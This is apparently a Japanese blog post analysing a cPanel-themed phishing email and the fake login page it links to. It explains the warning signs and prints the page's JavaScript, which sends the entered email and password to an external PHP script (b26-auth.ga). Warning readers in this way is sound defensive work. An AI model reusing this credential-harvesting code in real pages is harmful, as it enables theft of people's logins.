- roundcubeのアイコンで「パスワードキーの有効期限が切れました」というメールが届きましたが、これはフィッシング詐欺の可能性が高いです。
- 送信者のメールアドレスやリンクのURLに不自然な点がありました。
けっこう、cPanelを狙い撃ちにした迷惑メールか届くから、メールアドレスがそういう名簿に乗ってしまったんだろうね……。
1. 「パスワードキーの有効期限が切れました」とは?
このメールは、一見すると重要なお知らせのように見えます。
しかし、セキュリティ上の緊急性を煽っているメールには、注意が必要です。
Hello 〜
Your Password has Expired.
We recommend that you take the time now to keep your password active below to avoid login interruptions.
[Keep Existing Password]
We recommend you retain your existing password, and stay logged in across your device(s) and sessions;
Note : Otherwise, your account or email access will be lost..
Thank You,
2024 〜 Server
メールの内容によると、「受信者のパスワードが期限切れになった」と伝えています。
ログインの中断を避けるためにパスワードの更新が必要だと説明し、「Keep Existing Password(既存のパスワードを維持する)」というボタンから、パスワードを更新するよう促しています。
2. メールアドレスとリンクを確認する
しかし、このメールには多くの不自然な点があり、フィッシング詐欺の可能性が非常に高いと考えられます。
まず、送信者のメールアドレスに問題があります。
送信元のアドレスが「esme@superlocum.com」となっていますが、これは受信者のドメインと一致していません。
次に、リンクにも不自然な点があります。
「Keep Existing Password」ボタンのリンク先が、見慣れない長いURLになっています。
本来、正規のパスワード更新ページであれば、会社の公式ドメインを使用するはずです。
あと、細かな言葉遣いですが、「既存のパスワードを維持する」というのも不自然です。
通常は、安全な方法でパスワードを変更するよう指示するはずです。
これも、「既存のパスワードを盗み取ろう」という騙しの特性なのかもしれません。
3. CPanelのログインページを偽装
リンク先は、CPanelのログインページを偽装したページでした。
ちなみに、偽のログインページの特徴として、記憶されたパスワードが自動入力されないという点もあります。
これは、ドメインが記録されている正規のページと違うからです。
3-1. パスワードの外部送信処理(JavaScript)
HTMLには、JavaScriptなどのコードが書かれているので、そのまま読むことができます。
パスワード入力の処理は見せかけで、外部サーバーにデータを送信していました。
$('.btn-signin').on('click', function() {
var user = $('#email').val();
var pass = $('#password').val();
var mmoop = "https://office365.com";
if (pass.length < 5) {
$(".error-alert-pass").show();
$(".pass-alert-msg").html("Please enter your password.");
return false;
} else {
$(".error-alert-pass").hide();
$.ajax({
url: php_url,
type: "POST",
data: {
user: user,
pass: pass
},
dataType: 'json',
encode: true
}).done(function(data) {
console.log(data);
if (data.success) {
if (data.success == 'otrue') {
window.location.replace(mmoop);
alert('Successful');
} else {
document.getElementById('password').value = "";
document.getElementById('password').focus();
$(".error-alert-pass").show();
$(".pass-alert-msg").html("Your account or password is incorrect. If you don't remember your password, " + "<a href='#'>reset it now.</a>");
}
}
}).fail(function(data) {
document.getElementById('password').value = "";
document.getElementById('password').focus();
$(".error-alert-pass").show();
$(".pass-alert-msg").html("Your account or password is incorrect. If you don't remember your password, " + "<a href='#'>reset it now.</a>");
console.log(data);
});
}
});
入力されたパスワードは、長さをチェックしている(5文字以上)だけで処理されます。
また、ユーザーの入力したメールアドレスとパスワードは、jQuery を使って、平文のまま外部のPHPスクリプト(b26-auth.ga/kase/loginOffany.php)に送信していました。
要は、5文字以上なら「Successful」と表示して office365のページにリダイレクトし、パスワードデータは外部に送ってしまうのです。
3-2. 偽サイトのエラー処理
「loginOffany.php」からの返り値によってもエラー処理があるようで、適当なパスワードを入れたら「The login is invalid」と表示されました。
結構 時間がかかっていたので、そのタイミングで正規のログインページで試行していたのかもしれません。
一応、正規のログインシステムを模倣して、サーバーからの応答ステータスが400番台(クライアントエラー)の場合、”invalid_login” メッセージが表示されるようになっていました。
function login_results(ajax_obj) {
// ... (省略)
if (parseInt(response_status / 100, 10) === 4) {
var msg_code = result && result.message;
show_status(MESSAGES[msg_code || "invalid_login"] || MESSAGES.invalid_login, "error");
set_status_timeout()
}
// ... (省略)
}
“The login is invalid” というメッセージは、JavaScriptコード内のメッセージ定義部分にありました。
var MESSAGES = {
"ajax_timeout": "The connection timed out. Please try again.",
"no_username": "You must specify a username to log in.",
"session_locale": "The desired locale has been saved to your browser. To change the locale in this browser again, select another locale on this screen.",
"read_below": "Read the important information below.",
"invalid_login": "The login is invalid.",
"network_error": "A network error occurred during your login request. Please try again. If this condition persists, contact your network service provider.",
"authenticating": "Authenticating …",
"success": "Login successful. Redirecting …"
};
ちなみに、「.ga」ドメインは、ガボン(アフリカ中央西部に位置する国)のトップレベルドメインです。